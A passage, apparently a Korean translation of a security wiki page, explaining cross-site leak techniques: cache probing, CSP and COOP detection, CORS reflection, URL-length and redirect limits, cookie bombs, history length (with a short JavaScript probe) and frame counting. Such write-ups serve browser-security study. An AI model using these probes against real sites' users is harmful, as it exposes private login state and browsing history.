๋ธŒ๋ผ์šฐ์ €๋Š” ๋ชจ๋“  ์›น์‚ฌ์ดํŠธ์— ๋Œ€ํ•ด ํ•˜๋‚˜์˜ ๊ณต์œ  ์บ์‹œ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ถœ์ฒ˜์— ๊ด€๊ณ„์—†์ด ํŠน์ • ํŒŒ์ผ์„ ๋Œ€์ƒ ํŽ˜์ด์ง€๊ฐ€ ์š”์ฒญํ–ˆ๋Š”์ง€ ์—ฌ๋ถ€๋ฅผ ์ถ”๋ก ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด ํŽ˜์ด์ง€๊ฐ€ ์‚ฌ์šฉ์ž๊ฐ€ ๋กœ๊ทธ์ธํ–ˆ์„ ๋•Œ๋งŒ ์ด๋ฏธ์ง€๋ฅผ ๋กœ๋“œํ•œ๋‹ค๋ฉด, ๋ฆฌ์†Œ์Šค๋ฅผ ๋ฌดํšจํ™”(์žˆ์—ˆ๋‹ค๋ฉด ๋” ์ด์ƒ ์บ์‹œ๋˜์ง€ ์•Š๋„๋ก)ํ•œ ๋‹ค์Œ ๊ทธ ๋ฆฌ์†Œ์Šค๋ฅผ ๋กœ๋“œํ•  ์ˆ˜ ์žˆ๋Š” ์š”์ฒญ์„ ์ˆ˜ํ–‰ํ•˜๊ณ , ์ž˜๋ชป๋œ ์š”์ฒญ(์˜ˆ: ๊ณผ๋„ํ•˜๊ฒŒ ๊ธด referer ํ—ค๋” ๋“ฑ)์œผ๋กœ ๋ฆฌ์†Œ์Šค๋ฅผ ๋‹ค์‹œ ๋กœ๋“œํ•ด ๋ด…๋‹ˆ๋‹ค. ๋ฆฌ์†Œ์Šค ๋กœ๋“œ๊ฐ€ ์˜ค๋ฅ˜๋ฅผ ์œ ๋ฐœํ•˜์ง€ ์•Š์•˜๋‹ค๋ฉด, ์ด๋Š” ๋ฆฌ์†Œ์Šค๊ฐ€ ์บ์‹œ๋˜์–ด ์žˆ์—ˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค.

CSP Directive

Google Chrome์˜ ์ƒˆ๋กœ์šด ๊ธฐ๋Šฅ ์ค‘ ํ•˜๋‚˜๋Š” iframe ์š”์†Œ์— ์†์„ฑ์„ ์„ค์ •ํ•ด Content Security Policy (CSP)๋ฅผ ์ œ์•ˆํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•˜๋ฉฐ, ์ด ์ •์ฑ… ๋””๋ ‰ํ‹ฐ๋ธŒ๋Š” HTTP ์š”์ฒญ๊ณผ ํ•จ๊ป˜ ์ „์†ก๋ฉ๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ํฌํ•จ๋œ ์ฝ˜ํ…์ธ ๋Š” HTTP ํ—ค๋”๋ฅผ ํ†ตํ•ด ์ด๋ฅผ ์Šน์ธํ•ด์•ผ ํ•˜๋ฉฐ, ๊ทธ๋ ‡์ง€ ์•Š์œผ๋ฉด error page๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ iframe์ด ์ด๋ฏธ CSP๋กœ ๋ณดํ˜ธ๋˜๊ณ  ์žˆ๊ณ  ์ƒˆ๋กœ ์ œ์•ˆ๋œ ์ •์ฑ…์ด ๋” ์ œํ•œ์ ์ด์ง€ ์•Š๋‹ค๋ฉด ํŽ˜์ด์ง€๋Š” ์ •์ƒ์ ์œผ๋กœ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค. ์ด ๋ฉ”์ปค๋‹ˆ์ฆ˜์„ ํ†ตํ•ด ๊ณต๊ฒฉ์ž๋Š” ์˜ค๋ฅ˜ ํŽ˜์ด์ง€๋ฅผ ์‹๋ณ„ํ•จ์œผ๋กœ์จ cross-origin ํŽ˜์ด์ง€์˜ ํŠน์ • CSP ๋””๋ ‰ํ‹ฐ๋ธŒ๋ฅผ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ์ทจ์•ฝ์ ์€ ์ˆ˜์ •๋œ ๊ฒƒ์œผ๋กœ ํ‘œ์‹œ๋˜์—ˆ์ง€๋งŒ, ์šฐ๋ฆฌ์˜ ๋ฐœ๊ฒฌ์€ ์˜ค๋ฅ˜ ํŽ˜์ด์ง€๋ฅผ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ๋Š” ์ƒˆ๋กœ์šด ๋ˆ„์ถœ ๊ธฐ๋ฒ•์„ ๋ณด์—ฌ ์ค˜ ๊ทผ๋ณธ์ ์ธ ๋ฌธ์ œ๊ฐ€ ์™„์ „ํžˆ ํ•ด๊ฒฐ๋˜์ง€ ์•Š์•˜์Œ์„ ์‹œ์‚ฌํ•ฉ๋‹ˆ๋‹ค.

CORP

CORP ํ—ค๋”๋Š” ๋น„๊ต์  ์ƒˆ๋กœ์šด ์›น ํ”Œ๋žซํผ ๋ณด์•ˆ ๊ธฐ๋Šฅ์œผ๋กœ, ์„ค์ •๋˜๋ฉด ํ•ด๋‹น ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ no-cors cross-origin ์š”์ฒญ์„ ์ฐจ๋‹จํ•ฉ๋‹ˆ๋‹ค. CORP๋กœ ๋ณดํ˜ธ๋œ ๋ฆฌ์†Œ์Šค๋Š” fetch ์‹œ ์˜ค๋ฅ˜๋ฅผ throwํ•˜๋ฏ€๋กœ ํ—ค๋”์˜ ์กด์žฌ๋ฅผ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CORB

๊ณต๊ฒฉ์— ๋Œ€ํ•œ ์ž์„ธํ•œ ๋‚ด์šฉ์€ ๋งํฌ๋ฅผ ํ™•์ธํ•˜์„ธ์š”.

CORS error on Origin Reflection misconfiguration

๋งŒ์•ฝ Origin header๊ฐ€ Access-Control-Allow-Origin์— ๋ฐ˜์‚ฌ๋œ๋‹ค๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์ด ๋™์ž‘์„ ์•…์šฉํ•ด CORS ๋ชจ๋“œ๋กœ ๋ฆฌ์†Œ์Šค๋ฅผ fetchํ•ด๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜์ง€ ์•Š์œผ๋ฉด ๊ทธ๊ฒƒ์€ ๋ฆฌ์†Œ์Šค๊ฐ€ ์ •์ƒ์ ์œผ๋กœ ์›น์—์„œ ๊ฐ€์ ธ์™€์ง„ ๊ฒƒ์„ ์˜๋ฏธํ•˜๊ณ , ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด ์บ์‹œ์—์„œ ์ ‘๊ทผ๋œ ๊ฒƒ์ž…๋‹ˆ๋‹ค(์˜ค๋ฅ˜๋Š” ์บ์‹œ๊ฐ€ ์›๋ž˜ ๋„๋ฉ”์ธ์„ ํ—ˆ์šฉํ•˜๋Š” CORS ํ—ค๋”๋กœ ์‘๋‹ต์„ ์ €์žฅํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— ๋ฐœ์ƒํ•˜๋ฉฐ ๊ณต๊ฒฉ์ž์˜ ๋„๋ฉ”์ธ์œผ๋กœ๋Š” ํ—ˆ์šฉ๋˜์ง€ ์•Š์Œ).
์ฐธ๊ณ ๋กœ origin์ด ๋ฐ˜์‚ฌ๋˜์ง€ ์•Š๊ณ  ์™€์ผ๋“œ์นด๋“œ(Access-Control-Allow-Origin: *)๊ฐ€ ์‚ฌ์šฉ๋˜๋Š” ๊ฒฝ์šฐ ์ด ๊ธฐ๋ฒ•์€ ์ž‘๋™ํ•˜์ง€ ์•Š์Šต๋‹ˆ๋‹ค.

Readable Attributes Technique

Fetch Redirect

redirect: "manual" ๋ฐ ๊ธฐํƒ€ ํŒŒ๋ผ๋ฏธํ„ฐ๋ฅผ ์‚ฌ์šฉํ•ด Fetch API๋กœ ์š”์ฒญ์„ ์ „์†กํ•˜๋ฉด response.type ์†์„ฑ์„ ์ฝ์„ ์ˆ˜ ์žˆ๊ณ , ๊ทธ ๊ฐ’์ด opaqueredirect์ด๋ผ๋ฉด ํ•ด๋‹น ์‘๋‹ต์ด ๋ฆฌ๋””๋ ‰์…˜์ด์—ˆ์Œ์„ ์•Œ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

COOP

๊ณต๊ฒฉ์ž๋Š” cross-origin HTTP ์‘๋‹ต์— COOP ํ—ค๋”๊ฐ€ ์กด์žฌํ•˜๋Š”์ง€๋ฅผ ์œ ์ถ”ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. COOP๋Š” ์™ธ๋ถ€ ์‚ฌ์ดํŠธ๊ฐ€ ์ž„์˜์˜ window ์ฐธ์กฐ๋ฅผ ์–ป๋Š” ๊ฒƒ์„ ๋ฐฉ์ง€ํ•˜๊ธฐ ์œ„ํ•ด ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ์ด ํ—ค๋”์˜ ์กด์žฌ๋Š” contentWindow ์ฐธ์กฐ์— ์ ‘๊ทผํ•˜๋ ค ์‹œ๋„ํ•ด ํŒ๋ณ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. COOP๊ฐ€ ์กฐ๊ฑด๋ถ€๋กœ ์ ์šฉ๋˜๋Š” ๊ฒฝ์šฐ์—๋Š” opener ์†์„ฑ์ด ์œ ์šฉํ•œ ์ง€ํ‘œ๊ฐ€ ๋ฉ๋‹ˆ๋‹ค: COOP๊ฐ€ ํ™œ์„ฑํ™”๋˜๋ฉด opener๋Š” undefined์ด๊ณ , ์ ์šฉ๋˜์ง€ ์•Š์œผ๋ฉด defined์ž…๋‹ˆ๋‹ค.

URL Max Length - Server Side

์„œ๋ฒ„ ์ธก ๋ฆฌ๋””๋ ‰์…˜์ด ๋ฆฌ๋””๋ ‰์…˜ ๋‚ด๋ถ€์— ์‚ฌ์šฉ์ž ์ž…๋ ฅ๊ณผ ์ถ”๊ฐ€ ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•  ๊ฒฝ์šฐ ์ด ๋™์ž‘์„ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ผ๋ฐ˜์ ์œผ๋กœ ์„œ๋ฒ„์—๋Š” ์š”์ฒญ ๊ธธ์ด ์ œํ•œ์ด ์žˆ๊ธฐ ๋•Œ๋ฌธ์ž…๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์‚ฌ์šฉ์ž ๋ฐ์ดํ„ฐ๊ฐ€ ๊ทธ ํ•œ๊ณ„ - 1 ์ •๋„์ด๊ณ , ๋ฆฌ๋””๋ ‰์…˜์ด ๊ทธ ๋ฐ์ดํ„ฐ๋ฅผ ์‚ฌ์šฉํ•ด ๋ฌด์–ธ๊ฐ€๋ฅผ ์ถ”๊ฐ€ํ•˜๋ฉด ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•  ์ˆ˜ ์žˆ๊ณ  ์ด๋Š” Error Events๋กœ ๊ฐ์ง€๋ฉ๋‹ˆ๋‹ค.

์‚ฌ์šฉ์ž์—๊ฒŒ ์ฟ ํ‚ค๋ฅผ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋ฉด, ์ถฉ๋ถ„ํ•œ ์ฟ ํ‚ค๋ฅผ ์„ค์ •ํ•ด ์ด ๊ณต๊ฒฉ์„ ์ˆ˜ํ–‰ํ•  ์ˆ˜๋„ ์žˆ์Šต๋‹ˆ๋‹ค (cookie bomb) โ€” ์˜ฌ๋ฐ”๋ฅธ ์‘๋‹ต์˜ ์‘๋‹ต ํฌ๊ธฐ๊ฐ€ ์ฆ๊ฐ€ํ•˜์—ฌ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๊ฒŒ ๋ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ ๋™์ผ ์ถœ์ฒ˜์—์„œ ์š”์ฒญ์„ ํŠธ๋ฆฌ๊ฑฐํ•˜๋ฉด <script>๊ฐ€ ์ž๋™์œผ๋กœ ์ฟ ํ‚ค๋ฅผ ์ „์†กํ•˜๋ฏ€๋กœ(์˜ค๋ฅ˜๋ฅผ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Œ) ์ด๋ฅผ ๊ธฐ์–ตํ•˜์„ธ์š”.
cookie bomb + XS-Search์˜ ์˜ˆ์‹œ๋Š” ์ด ๊ธ€์˜ ์˜๋„๋œ ์†”๋ฃจ์…˜์—์„œ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended

์ด ํƒ€์ž…์˜ ๊ณต๊ฒฉ์—๋Š” ๋ณดํ†ต SameSite=None ๋˜๋Š” ๋™์ผ ์ปจํ…์ŠคํŠธ์— ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

URL Max Length - Client Side

Chromium ๋ฌธ์„œ์— ๋”ฐ๋ฅด๋ฉด, Chrome์˜ ์ตœ๋Œ€ URL ๊ธธ์ด๋Š” 2MB์ž…๋‹ˆ๋‹ค.

์ผ๋ฐ˜์ ์œผ๋กœ ์›น ํ”Œ๋žซํผ์—๋Š” URL ๊ธธ์ด์— ๋Œ€ํ•œ ์ œํ•œ์ด ์—†์ง€๋งŒ(์ผ๋ฐ˜์ ์œผ๋กœ 2^31์ด ํ•œ๊ณ„์ธ ๊ฒฝ์šฐ๊ฐ€ ๋งŽ์Œ), Chrome์€ ์‹ค์šฉ์ ์ธ ์ด์œ ์™€ ํ”„๋กœ์„ธ์Šค ๊ฐ„ ํ†ต์‹ ์—์„œ์˜ DoS ๋ฌธ์ œ ๋ฐฉ์ง€๋ฅผ ์œ„ํ•ด URL์„ ์ตœ๋Œ€ 2MB๋กœ ์ œํ•œํ•ฉ๋‹ˆ๋‹ค.

๋”ฐ๋ผ์„œ ๋ฆฌ๋””๋ ‰์…˜ URL์ด ํ•œ ๊ฒฝ์šฐ์— ๋” ๊ธธ๋‹ค๋ฉด, ๋ฆฌ๋””๋ ‰์…˜์„ 2MB๋ณด๋‹ค ํฐ URL๋กœ ์œ ๋„ํ•ด ๊ธธ์ด ์ œํ•œ์— ๊ฑธ๋ฆฌ๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ Chrome์€ about:blank#blocked ํŽ˜์ด์ง€๋ฅผ ํ‘œ์‹œํ•ฉ๋‹ˆ๋‹ค.

๊ตฌ๋ถ„ ๊ฐ€๋Šฅํ•œ ์ฐจ์ด์ ์€, ๋ฆฌ๋””๋ ‰์…˜์ด ์ •์ƒ์ ์œผ๋กœ ์™„๋ฃŒ๋˜๋ฉด cross origin ์ •๋ณด๋ฅผ ์ ‘๊ทผํ•˜๋ ค ํ•  ๋•Œ window.origin์ด ์—๋Ÿฌ๋ฅผ ๋ฐœ์ƒ์‹œํ‚ค์ง€๋งŒ, ๋งŒ์•ฝ ์ œํ•œ์— ๊ฑธ๋ ค ๋กœ๋“œ๋œ ํŽ˜์ด์ง€๊ฐ€ **about:blank#blocked**์˜€๋‹ค๋ฉด ์ฐฝ์˜ **origin**์€ ๋ถ€๋ชจ์˜ origin์„ ์œ ์ง€ํ•˜๋ฏ€๋กœ ์ ‘๊ทผ ๊ฐ€๋Šฅํ•œ ์ •๋ณด๋กœ ๋‚จ๋Š”๋‹ค๋Š” ์ ์ž…๋‹ˆ๋‹ค.

ํ•„์š”ํ•œ ๋ชจ๋“  ์ถ”๊ฐ€ ์ •๋ณด๋Š” ์ดˆ๊ธฐ URL์˜ hash์— ์ถ”๊ฐ€ํ•ด ๋ฆฌ๋””๋ ‰์…˜ ์‹œ ์‚ฌ์šฉ๋˜๊ฒŒ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

URL Max Length - Client Side

Max Redirects

๋ธŒ๋ผ์šฐ์ €๊ฐ€ ๋”ฐ๋ผ๊ฐˆ ์ˆ˜ ์žˆ๋Š” ๋ฆฌ๋””๋ ‰์…˜์˜ ์ตœ๋Œ€ ์ˆ˜๊ฐ€ 20์ด๋ผ๋ฉด, ๊ณต๊ฒฉ์ž๋Š” ์ž์‹ ์˜ ํŽ˜์ด์ง€๋ฅผ 19๋ฒˆ์˜ ๋ฆฌ๋””๋ ‰์…˜์œผ๋กœ ๋กœ๋“œํ•˜๋„๋ก ์‹œ๋„ํ•œ ๋’ค ์ตœ์ข…์ ์œผ๋กœ ํ”ผํ•ด์ž๋ฅผ ํ…Œ์ŠคํŠธํ•  ํŽ˜์ด์ง€๋กœ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ ์˜ค๋ฅ˜๊ฐ€ ๋ฐœ์ƒํ•˜๋ฉด, ํ•ด๋‹น ํŽ˜์ด์ง€๊ฐ€ ํ”ผํ•ด์ž๋ฅผ ๋ฆฌ๋””๋ ‰์…˜ํ•˜๋ ค๊ณ  ์‹œ๋„ํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค.

History Length

History API๋Š” JavaScript๊ฐ€ ๋ธŒ๋ผ์šฐ์ € ํžˆ์Šคํ† ๋ฆฌ๋ฅผ ์กฐ์ž‘ํ•  ์ˆ˜ ์žˆ๊ฒŒ ํ•ด ์‚ฌ์šฉ์ž๊ฐ€ ๋ฐฉ๋ฌธํ•œ ํŽ˜์ด์ง€๋ฅผ ์ €์žฅํ•ฉ๋‹ˆ๋‹ค. ๊ณต๊ฒฉ์ž๋Š” ํฌํ•จ ๋ฐฉ๋ฒ•์œผ๋กœ length ์†์„ฑ์„ ์‚ฌ์šฉํ•ด JavaScript ๋ฐ HTML ๋‚ด๋น„๊ฒŒ์ด์…˜์„ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
history.length๋ฅผ ํ™•์ธํ•˜๊ณ  ์‚ฌ์šฉ์ž๋ฅผ ์–ด๋–ค ํŽ˜์ด์ง€๋กœ ์ด๋™์‹œํ‚จ ๋’ค ๋‹ค์‹œ ๊ฐ™์€ ์ถœ์ฒ˜๋กœ ๋˜๋Œ๋ฆฌ๊ณ  ๋‚˜์„œ **๋ณ€๊ฒฝ๋œ history.length**๋ฅผ ํ™•์ธํ•ฉ๋‹ˆ๋‹ค.

History Length with same URL

  • Inclusion Methods: Frames, Pop-ups
  • Detectable Difference: If URL is the same as the guessed one
  • Summary: ํžˆ์Šคํ† ๋ฆฌ ๊ธธ์ด๋ฅผ ์•…์šฉํ•ด frame/pop-up์˜ ์œ„์น˜๊ฐ€ ํŠน์ • URL์ธ์ง€ ์ถ”์ธกํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
  • Code Example: Below

๊ณต๊ฒฉ์ž๋Š” JavaScript๋กœ frame/pop-up์˜ ์œ„์น˜๋ฅผ ์ถ”์ธกํ•œ URL๋กœ ์„ค์ •ํ•œ ๋’ค ์ฆ‰์‹œ about:blank๋กœ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋งŒ์•ฝ history ๊ธธ์ด๊ฐ€ ์ฆ๊ฐ€ํ–ˆ๋‹ค๋ฉด ๊ทธ URL์ด ์˜ฌ๋ฐ”๋ฅธ ๊ฒƒ์ด๊ณ , ๋™์ผํ•œ URL์ด๋ฉด ๋ฆฌ๋กœ๋“œ๋˜์ง€ ์•Š์•„ ํžˆ์Šคํ† ๋ฆฌ ๊ธธ์ด๊ฐ€ ์ฆ๊ฐ€ํ–ˆ์Œ์„ ์˜๋ฏธํ•ฉ๋‹ˆ๋‹ค. ๋ฐ˜๋Œ€๋กœ ์ฆ๊ฐ€ํ•˜์ง€ ์•Š์•˜๋‹ค๋ฉด ์ถ”์ธกํ•œ URL์„ ๋กœ๋“œํ•˜๋ ค ํ–ˆ์œผ๋‚˜ ์ฆ‰์‹œ about:blank๋ฅผ ๋กœ๋“œํ–ˆ๊ธฐ ๋•Œ๋ฌธ์— ํžˆ์Šคํ† ๋ฆฌ ๊ธธ์ด๋Š” ์ฆ๊ฐ€ํ•˜์ง€ ์•Š์•˜์Šต๋‹ˆ๋‹ค.

async function debug(win, url) {
win.location = url + "#aaa"
win.location = "about:blank"
await new Promise((r) => setTimeout(r, 500))
return win.history.length
}

win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=c"))

win.close()
win = window.open("https://example.com/?a=b")
await new Promise((r) => setTimeout(r, 2000))
console.log(await debug(win, "https://example.com/?a=b"))

Frame Counting

iframe ๋˜๋Š” window.open์œผ๋กœ ์—ด๋ฆฐ ์›น์˜ ํ”„๋ ˆ์ž„ ์ˆ˜๋ฅผ ์„ธ๋Š” ๊ฒƒ์€ ํ•ด๋‹น ํŽ˜์ด์ง€์—์„œ์˜ ์‚ฌ์šฉ์ž ์ƒํƒœ๋ฅผ ์‹๋ณ„ํ•˜๋Š” ๋ฐ ๋„์›€์ด ๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๋”์šฑ์ด ํŽ˜์ด์ง€๊ฐ€ ํ•ญ์ƒ ๋™์ผํ•œ ์ˆ˜์˜ ํ”„๋ ˆ์ž„์„ ๊ฐ€์ง€๊ณ  ์žˆ๋‹ค๋ฉด, ํ”„๋ ˆ์ž„ ์ˆ˜๋ฅผ ์ง€์†์ ์œผ๋กœ ํ™•์ธํ•˜์—ฌ ํŒจํ„ด์„ ์‹๋ณ„ํ•˜๊ณ  ์ •๋ณด๊ฐ€ leak๋  ๊ฐ€๋Šฅ์„ฑ์„ ๋ฐœ๊ฒฌํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ธฐ๋ฒ•์˜ ํ•œ ์˜ˆ๋กœ, Chrome์—์„œ๋Š” ๋‚ด๋ถ€์ ์œผ๋กœ embed๊ฐ€ ์‚ฌ์šฉ๋˜๊ธฐ ๋•Œ๋ฌธ์— PDF๋ฅผ frame counting์œผ๋กœ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. zoom, view, page, toolbar์™€ ๊ฐ™์€ ์ฝ˜ํ…์ธ ๋ฅผ ์–ด๋А ์ •๋„ ์ œ์–ดํ•  ์ˆ˜ ์žˆ๋Š” Open URL Parameters๊ฐ€ ์žˆ์–ด ์ด ๊ธฐ๋ฒ•์ด ํฅ๋ฏธ๋กœ์šธ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

HTMLElements

HTML ์š”์†Œ๋ฅผ ํ†ตํ•œ ์ •๋ณด ์œ ์ถœ์€ ์›น ๋ณด์•ˆ์—์„œ ์šฐ๋ ค๋˜๋Š” ์ ์ž…๋‹ˆ๋‹ค. ํŠนํžˆ ์‚ฌ์šฉ์ž ์ •๋ณด์— ๋”ฐ๋ผ ๋™์ ์œผ๋กœ ๋ฏธ๋””์–ด ํŒŒ์ผ์ด ์ƒ์„ฑ๋˜๊ฑฐ๋‚˜ ์›Œํ„ฐ๋งˆํฌ๊ฐ€ ์ถ”๊ฐ€๋˜์–ด ๋ฏธ๋””์–ด ํฌ๊ธฐ๊ฐ€ ๋‹ฌ๋ผ์ง€๋Š” ๊ฒฝ์šฐ, ๊ณต๊ฒฉ์ž๋Š” ํŠน์ • HTML ์š”์†Œ๊ฐ€ ๋…ธ์ถœํ•˜๋Š” ์ •๋ณด๋ฅผ ๋ถ„์„ํ•ด ๊ฐ€๋Šฅํ•œ ์ƒํƒœ๋ฅผ ๊ตฌ๋ถ„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Information Exposed by HTML Elements

  • HTMLMediaElement: ์ด ์š”์†Œ๋Š” ๋ฏธ๋””์–ด์˜ duration๊ณผ buffered ์‹œ๊ฐ„์„ ๋…ธ์ถœํ•˜๋ฉฐ, ํ•ด๋‹น API๋ฅผ ํ†ตํ•ด ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Read more about HTMLMediaElement
  • HTMLVideoElement: videoHeight์™€ videoWidth๋ฅผ ๋…ธ์ถœํ•ฉ๋‹ˆ๋‹ค. ์ผ๋ถ€ ๋ธŒ๋ผ์šฐ์ €์—์„œ๋Š” webkitVideoDecodedByteCount, webkitAudioDecodedByteCount, webkitDecodedFrameCount์™€ ๊ฐ™์€ ์ถ”๊ฐ€ ์†์„ฑ์ด ์ œ๊ณต๋˜์–ด ๋ฏธ๋””์–ด ์ฝ˜ํ…์ธ ์— ๊ด€ํ•œ ๋” ์ž์„ธํ•œ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. Read more about HTMLVideoElement
  • getVideoPlaybackQuality(): ์ด ํ•จ์ˆ˜๋Š” totalVideoFrames๋ฅผ ํฌํ•จํ•œ ๋น„๋””์˜ค ์žฌ์ƒ ํ’ˆ์งˆ์— ๋Œ€ํ•œ ์„ธ๋ถ€ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•˜๋ฉฐ, ์ฒ˜๋ฆฌ๋œ ๋น„๋””์˜ค ๋ฐ์ดํ„ฐ์˜ ์–‘์„ ๋‚˜ํƒ€๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Read more about getVideoPlaybackQuality()
  • HTMLImageElement: ์ด ์š”์†Œ๋Š” ์ด๋ฏธ์ง€์˜ height์™€ width๋ฅผ ๋ˆ„์ถœํ•ฉ๋‹ˆ๋‹ค. ๋‹ค๋งŒ ์ด๋ฏธ์ง€๊ฐ€ ์œ ํšจํ•˜์ง€ ์•Š์€ ๊ฒฝ์šฐ ์ด๋Ÿฌํ•œ ์†์„ฑ์€ 0์„ ๋ฐ˜ํ™˜ํ•˜๊ณ , image.decode() ํ•จ์ˆ˜๋Š” ๊ฑฐ๋ถ€๋˜์–ด ์ด๋ฏธ์ง€ ๋กœ๋“œ ์‹คํŒจ๋ฅผ ๋‚˜ํƒ€๋ƒ…๋‹ˆ๋‹ค. Read more about HTMLImageElement

CSS Property

์›น ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜์€ ์‚ฌ์šฉ์ž์˜ ์ƒํƒœ์— ๋”ฐ๋ผ ์›น์‚ฌ์ดํŠธ ์Šคํƒ€์ผ์„ ๋ณ€๊ฒฝํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. Cross-origin CSS ํŒŒ์ผ์€ ๊ณต๊ฒฉ์ž ํŽ˜์ด์ง€์— HTML link element๋กœ ํฌํ•จ๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๊ทœ์น™๋“ค์€ ๊ณต๊ฒฉ์ž ํŽ˜์ด์ง€์— ์ ์šฉ๋ฉ๋‹ˆ๋‹ค. ํŽ˜์ด์ง€๊ฐ€ ์ด๋Ÿฌํ•œ ๊ทœ์น™์„ ๋™์ ์œผ๋กœ ๋ณ€๊ฒฝํ•˜๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์‚ฌ์šฉ์ž ์ƒํƒœ์— ๋”ฐ๋ผ ์ด๋Ÿฌํ•œ ์ฐจ์ด์ ์„ ๊ฐ์ง€ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
leak ๊ธฐ๋ฒ•์œผ๋กœ ๊ณต๊ฒฉ์ž๋Š” ํŠน์ • HTML ์š”์†Œ์˜ CSS ์†์„ฑ์„ ์ฝ๊ธฐ ์œ„ํ•ด window.getComputedStyle ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ฒฐ๊ณผ์ ์œผ๋กœ, ์˜ํ–ฅ์„ ๋ฐ›๋Š” ์š”์†Œ์™€ ์†์„ฑ ์ด๋ฆ„์„ ์•Œ๊ณ  ์žˆ๋‹ค๋ฉด ๊ณต๊ฒฉ์ž๋Š” ์ž„์˜์˜ CSS ์†์„ฑ์„ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

CSS History

Tip

According to this, this is not working in headless Chrome.

CSS :visited ์„ ํƒ์ž๋Š” ์‚ฌ์šฉ์ž๊ฐ€ ์ด์ „์— ๋ฐฉ๋ฌธํ•œ URL์— ๋Œ€ํ•ด ์Šคํƒ€์ผ์„ ๋‹ค๋ฅด๊ฒŒ ์ ์šฉํ•˜๋Š” ๋ฐ ์‚ฌ์šฉ๋ฉ๋‹ˆ๋‹ค. ๊ณผ๊ฑฐ์—๋Š” getComputedStyle() ๋ฉ”์„œ๋“œ๋ฅผ ์‚ฌ์šฉํ•ด ์ด๋Ÿฌํ•œ ์Šคํƒ€์ผ ์ฐจ์ด๋ฅผ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ์—ˆ์Šต๋‹ˆ๋‹ค. ํ•˜์ง€๋งŒ ์ตœ์‹  ๋ธŒ๋ผ์šฐ์ €๋“ค์€ ๋งํฌ์˜ ์ƒํƒœ๋ฅผ ๋“œ๋Ÿฌ๋‚ด์ง€ ์•Š๋„๋ก ๋ณด์•ˆ ์กฐ์น˜๋ฅผ ๋„์ž…ํ–ˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—๋Š” ํ•ญ์ƒ ๋งํฌ๊ฐ€ ๋ฐฉ๋ฌธ๋œ 